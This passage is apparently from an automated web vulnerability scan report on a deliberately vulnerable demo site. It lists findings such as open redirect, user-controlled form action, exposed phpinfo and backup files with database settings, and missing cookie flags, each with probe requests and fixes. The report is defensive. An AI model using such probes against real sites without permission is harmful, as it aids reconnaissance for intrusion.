**/hpp/index.php (914f51fea3c42cbd541a6953a8b115a4)**

Details

Form name: <empty>
Form action: http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Form method: GET

Form inputs:

- aaaa/ [Submit]

Request headers

```
GET /hpp/index.php?pp=12 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/hpp/index.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/login.php**

Details

Form name: loginform
Form action: http://testphp.vulnweb.com/userinfo.php
Form method: POST

Form inputs:

- uname [Text]
- pass [Password]

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/signup.php**

Details

Form name: form1
Form action: http://testphp.vulnweb.com/secured/newuser.php
Form method: POST

Form inputs:

- uuname [Text]
- upass [Password]
- upass2 [Password]
- urname [Text]
- ucc [Text]
- uemail [Text]
- uphone [Text]
- uaddress [TextArea]
- signup [Submit]

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Insecure crossdomain.xml file

| | |
|---|---|
| Severity | **Medium** |
| Type | Configuration |
| Reported by module | Scripting (Crossdomain_XML.script) |

### Description

The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).

When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

### Impact

Using an insecure cross-domain policy file could expose your site to various attacks.

### Recommendation

Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.

### References

Cross-domain policy files
Cross-domain policy file usage recommendations for Flash Player

### Affected items

**Web Server**

Details

The crossdomain.xml file is located at /crossdomain.xml

Request headers

```
GET /crossdomain.xml HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## JetBrains .idea project directory

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (JetBrains_Idea_Project_Directory.script) |

### Description

The .idea directory contains a set of configuration files (.xml) for your project. These configuration files contain information core to the project itself, such as names and locations of its component modules, compiler settings, etc. If you've defined a data source the file dataSources.ids contains information for connecting to the database and credentials. The workspace.xml file stores personal settings such as placement and positions of your windows, your VCS and History settings, and other data pertaining to the development environment. It also contains a list of changed files and other sensitive information. These files should not be present on a production system.

### Impact

These files may expose sensitive information that may help an malicious user to prepare more advanced attacks.

### Recommendation

Remove these files from production systems or restrict access to the .idea directory. To deny access to all the .idea folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

<Directory ~ "\.idea">
Order allow,deny
Deny from all
</Directory>

### References

Apache Tips & Tricks: Deny access to some folders

### Affected items

***/***

Details

workspace.xml project file found at : /.idea/workspace.xml
Pattern found: <project version="4">

Request headers

```
GET /.idea/workspace.xml HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## PHP errors enabled

| | |
|---|---|
| Severity | **Medium** |
| Type | Configuration |
| Reported by module | Scripting (PHPInfo.script) |

### Description

The display_errors directive determines whether error messages should be sent to the browser. These messages frequently contain sensitive information about your web application environment, and should never be presented to untrusted sources.

display_errors is on by default.

### Impact

Possible information disclosure.

### Recommendation

You can disable display_errors from php.ini or .htaccess.

php.ini
display_errors = 'off'
log_errors = 'on'

.htaccess
php_flag display_errors off
php_flag log_errors on

### Affected items

**/secured/phpinfo.php**

Details

This vulnerability was detected using the information from phpinfo() page /secured/phpinfo.php
display_errors: On

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## PHP open_basedir is not set

| | |
|---|---|
| Severity | **Medium** |
| Type | Configuration |
| Reported by module | Scripting (PHPInfo.script) |

### Description

The open_basedir configuration directive will limit the files that can be opened by PHP to the specified directory-tree. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. open_basedir is a good protection against remote file inclusion vulnerabilities. For a remote attacker it is not possible to break out of the open_basedir restrictions if he is only able to inject the name of a file to be included. Therefore the number of files he will be able to include with such a local file include vulnerability is limited.

### Impact

Application dependant - possible remote code inclusion.

### Recommendation

You can set open_basedir from php.ini

php.ini
open_basedir = your_application_directory

### Affected items

**/secured/phpinfo.php**

Details

This vulnerability was detected using the information from phpinfo() page /secured/phpinfo.php
open_basedir: no value

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## PHPinfo page found

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (PHPInfo.script) |

### Description

PHPinfo page has been found in this directory. The PHPinfo page outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

### Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

### Recommendation

Remove the file from production systems.

### References

PHP phpinfo

### Affected items

**/secured/phpinfo.php**

Details

phpinfo() page found at : /secured/phpinfo.php

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/phpinfo.php**

Details

Pattern found: <title>phpinfo()</title>

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Source code disclosure

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (Text_Search_File.script) |

### Description

Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.

### Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to conduct further attacks.

### Recommendation

Remove this file from your website or change its permissions to remove access.

### References

Source Code Disclosure Can Be Exploited On Your Website

### Affected items

**/index.bak**

Details

Pattern found: <?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false"
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.re ...

Request headers

```
GET /index.bak HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/pictures/wp-config.bak**

Details

Pattern found: <?php
// ** MySQL settings ** //
define('DB_NAME', 'wp265as');    // The name of the database
define('DB_USER', 'root');     // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost');    // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

// Change each KEY to a different unique phrase.  You won't have to remember the phrases later,
// so make them long and complicated.  You can visit http://api.wordpress.org/secret-key/1.1/
// to get keys generated for you, or just make something up.  Each key should have a different phrase.
define('AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.
define('SECURE_AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.
define('LOGGED_IN_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

// You can have multiple installations in one database if you give each a unique prefix
$table_prefix  = 'w ...

Request headers

```
GET /pictures/wp-config.bak HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## URL redirection

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (XFS_and_Redir.script) |

### Description

This script is possibly vulnerable to URL redirection attacks.

URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting.

### Impact

A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.

### Recommendation

Your script should properly sanitize user input.

### References

URL Redirection Security Vulnerability
HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics

### Affected items

**/redir.php**

Details

URL encoded GET input r was set to http://www.acunetix.com

Request headers

```
GET /redir.php?r=http://www.acunetix.com HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## User credentials are sent in clear text

| | |
|---|---|
| Severity | **Medium** |
| Type | Informational |
| Reported by module | Crawler |

### Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

### Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

### Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

### Affected items

**/login.php**

Details

Form name: loginform
Form action: http://testphp.vulnweb.com/userinfo.php
Form method: POST

Form inputs:

- uname [Text]
- pass [Password]

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/signup.php**

Details

Form name: form1
Form action: http://testphp.vulnweb.com/secured/newuser.php
Form method: POST

Form inputs:

- uuname [Text]
- upass [Password]
- upass2 [Password]
- urname [Text]
- ucc [Text]
- uemail [Text]
- uphone [Text]
- uaddress [TextArea]
- signup [Submit]

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## User-controlled form action

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (XFS_and_Redir.script) |

### Description

The Action URL parameter for one HTML form from this page is dirrectly controlled by user input. The Action parameter specifies the website where the user-submitted information is being sent. An attacker can provide a website controlled by him for the form action parameter and send this malicious link to your users. Any user who will click that link and submit the vulnerable form will send his information to the attacker.

### Impact

Malicious users may poison the form action in order to conduct phishing attacks.

### Recommendation

Your script should properly sanitize user input.

### References

Forms in HTML documents
Phishing

### Affected items

**/showimage.php**

Details

URL encoded GET input file was set to http://www.acunetix.com
Form name: <unnamed>, action: http://www.acunetix.com/

Request headers

```
GET /showimage.php?file=http://www.acunetix.com HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## WS_FTP log file found

| | |
|---|---|
| Severity | **Medium** |
| Type | Validation |
| Reported by module | Scripting (WS_FTP_log_file.script) |

### Description

WS_FTP is a popular FTP client. This application creates a log file named WS_FTP.LOG. This file contains sensitive data such as file source/destination and file name, date/time of upload etc.

### Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

### Recommendation

Remove this file from your website or change its permissions to remove access.

### References

ws_ftp.log

### Affected items

**/pictures//WS_FTP.LOG**

Details

Pattern found: 103.05.06 13:17

Request headers

```
GET /pictures//WS_FTP.LOG HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Clickjacking: X-Frame-Options header missing

| | |
|---|---|
| Severity | **Low** |
| Type | Configuration |
| Reported by module | Scripting (Clickjacking_X_Frame_Options.script) |

### Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

### Impact

The impact depends on the affected web application.

### Recommendation

Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

### References

Clickjacking
Original Clickjacking paper
The X-Frame-Options response header

### Affected items

| Web Server |
|---|
| Details |
| No details are available. |
| Request headers |

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Hidden form input named price was found

| | |
|---|---|
| Severity | **Low** |
| Type | Informational |
| Reported by module | Crawler |

### Description

A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.

### Impact

User may change price information before submitting the form.

### Recommendation

Check if the script inputs are properly validated.

### Affected items

**/product.php (bf4bb1e515b3710a881441fd37c85e8c)**

Details

Form name: f_addcart
Form action: http://testphp.vulnweb.com/cart.php
Form method: POST

Form inputs:

- price [Hidden]
- addcart [Hidden]

Request headers

```
GET /product.php?pic=1 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/search.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Login page password-guessing attack

| | |
|---|---|
| Severity | **Low** |
| Type | Validation |
| Reported by module | Scripting (Html_Authentication_Audit.script) |

### Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

### Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

### Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

### References

Blocking Brute Force Attacks

### Affected items

**/userinfo.php**

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 28
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

pass=HVkWGzU4&uname=vTKF5HLT
```

## Possible virtual host found

| | |
|---|---|
| Severity | **Low** |
| Type | Configuration |
| Reported by module | Scripting (VirtualHost_Audit.script) |

### Description

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name.

This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.

### Impact

Possible sensitive information disclosure.

### Recommendation

Consult the virtual host configuration and check if this virtual host should be publicly accessible.

### References

Virtual hosting

### Affected items

**localhost**

Details

VirtualHost: localhost
Response: For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.

Thank you for using nginx.
</body>
</html>

Request headers

```
GET / HTTP/1.0
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
```

## Session Cookie without HttpOnly flag set

| | |
|---|---|
| Severity | **Low** |
| Type | Informational |
| Reported by module | Crawler |

### Description

This cookie does not have the HTTPOnly flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.

### Impact

None

### Recommendation

If possible, you should set the HTTPOnly flag for this cookie.

### Affected items

***/***

Details

Cookie name: "mycookie"
Cookie domain: "testphp.vulnweb.com"

Request headers

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

***/***

Details

Cookie name: "login"
Cookie domain: "testphp.vulnweb.com"

Request headers

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Session Cookie without Secure flag set

| | |
|---|---|
| Severity | **Low** |
| Type | Informational |
| Reported by module | Crawler |

### Description

This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL channels. This is an important security protection for session cookies.

### Impact

None

### Recommendation

If possible, you should set the Secure flag for this cookie.

### Affected items

***/***

Details

Cookie name: "login"
Cookie domain: "testphp.vulnweb.com"

Request headers

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

***/***

Details

Cookie name: "mycookie"
Cookie domain: "testphp.vulnweb.com"

Request headers

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Broken links

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | Crawler |

### Description

A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error. This page was linked from the website but it is inaccessible.

### Impact

Problems navigating the site.

### Recommendation

Remove the links to this file or make it accessible.

### Affected items

**/medias/css/main.css**

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /medias/css/main.css HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/medias/js/common_functions.js**

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /medias/js/common_functions.js HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/Details/color-printer/3**

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /Mod_Rewrite_Shop/Details/color-printer/3/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1**

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer:
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/Details/web-camera-a4tech/2**

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /Mod_Rewrite_Shop/Details/web-camera-a4tech/2/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/privacy.php**

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /privacy.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
```

```
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/office_files/filelist.xml**

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /secured/office_files/filelist.xml HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/secured/office.htm
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Email address found

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | Scripting (Text_Search_Dir.script) |

### Description

One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

### Impact

Email addresses posted on Web sites may attract spam.

### Recommendation

Check references for details on how to solve this problem.

### References

Email Address Disclosed on Website Can be Used for Spam

### Affected items

**/**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/404.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /404.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/artists.php**

Details
